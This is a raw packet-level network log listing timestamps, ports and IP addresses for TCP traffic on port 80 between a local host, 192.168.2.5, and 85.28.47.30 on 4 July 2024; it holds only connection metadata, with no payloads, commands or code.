Jul 4, 2024 22:20:32.987219095 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987231016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987245083 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987272978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987287045 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987289906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987308979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987329006 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987339020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987374067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987412930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987426043 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987437010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987457991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987471104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987550974 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987562895 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987572908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987588882 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987590075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987596989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987615108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987632036 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987658978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987672091 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987682104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987690926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987698078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987706900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987706900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987729073 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987742901 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987790108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987799883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987808943 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987821102 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.987833023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987848043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987874985 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.987973928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988009930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988027096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988038063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988064051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988075972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988105059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988116026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988127947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988140106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988140106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988147020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988164902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988177061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988265038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988276005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988307953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988318920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988333941 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988343954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988353014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988363028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988370895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988374949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988382101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988409042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988445997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988457918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:32.988502026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:32.988512993 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.227077007 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.231884956 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.416892052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.416903973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.416913986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.416953087 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.416976929 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417048931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417061090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417071104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417079926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417090893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417099953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417110920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417121887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417124987 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417133093 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417136908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417157888 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417181015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417212009 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417222977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417236090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417248964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417253017 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417262077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417284966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417363882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417390108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417397976 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417427063 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417476892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417488098 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417498112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417514086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417522907 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417546034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417619944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417638063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417649031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417660952 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417666912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417668104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417671919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417678118 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417684078 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417695999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417701960 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417710066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417714119 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417738914 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417762041 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.417937994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417948008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.417975903 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418013096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418025017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418034077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418045998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418052912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418056965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418068886 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418068886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418093920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418109894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418270111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418282032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418291092 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418318033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418334961 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418379068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418395996 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418406010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418416023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418421030 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418427944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418438911 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418440104 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418452024 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418464899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418467999 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418489933 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418507099 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418855906 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418867111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418875933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418885946 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418898106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418905020 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418909073 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418920040 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418931007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418934107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418941975 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418941975 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418958902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418967009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.418971062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.418997049 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.419166088 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.419183016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.419192076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.419197083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.419209003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.419234991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.498595953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498606920 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498617887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498667955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.498689890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.498792887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498802900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498811960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498823881 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498837948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.498864889 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.498879910 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498892069 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498902082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498913050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498924971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.498924971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.498943090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.498965979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499023914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499066114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499169111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499181032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499195099 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499206066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499216080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499217987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499229908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499242067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499242067 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499260902 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499278069 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499423027 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499433994 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499444008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499464989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499485970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499574900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499586105 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499612093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499620914 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499623060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499634981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499644995 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499645948 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499656916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499667883 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499675989 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499680042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499691963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499701023 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499702930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.499715090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.499741077 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.501617908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501636028 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501668930 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.501682043 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.501683950 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501718998 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.501749992 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501760960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501770020 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501795053 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.501813889 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.501828909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501871109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.501885891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501898050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.501935005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.502023935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502063990 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.502093077 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502104998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502115011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502130985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502130032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.502145052 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.502170086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.502283096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502293110 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502329111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502336979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.502366066 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.502387047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502397060 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.502430916 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511245012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511255026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511266947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511295080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511317968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511317968 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511329889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511351109 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511393070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511460066 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511470079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511481047 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511495113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511504889 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511512995 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511523962 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511542082 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511595011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511641026 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511728048 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511739969 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511749983 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511761904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511771917 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511771917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511786938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511796951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511796951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511811018 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511814117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511826038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511837006 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.511838913 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511862040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.511876106 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512111902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512121916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512131929 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512156010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512176991 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512238026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512248993 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512259007 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512267113 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512281895 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512300014 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512461901 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512473106 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512489080 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512502909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512505054 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512512922 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512523890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512525082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512537003 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512547016 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512550116 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512561083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512569904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512571096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512584925 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512610912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512784958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512794971 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512799978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512804985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512824059 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512831926 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512835979 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512846947 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:33.512846947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:33.512861013 CEST	80	49704	85.28.47.30	192.168.2.5
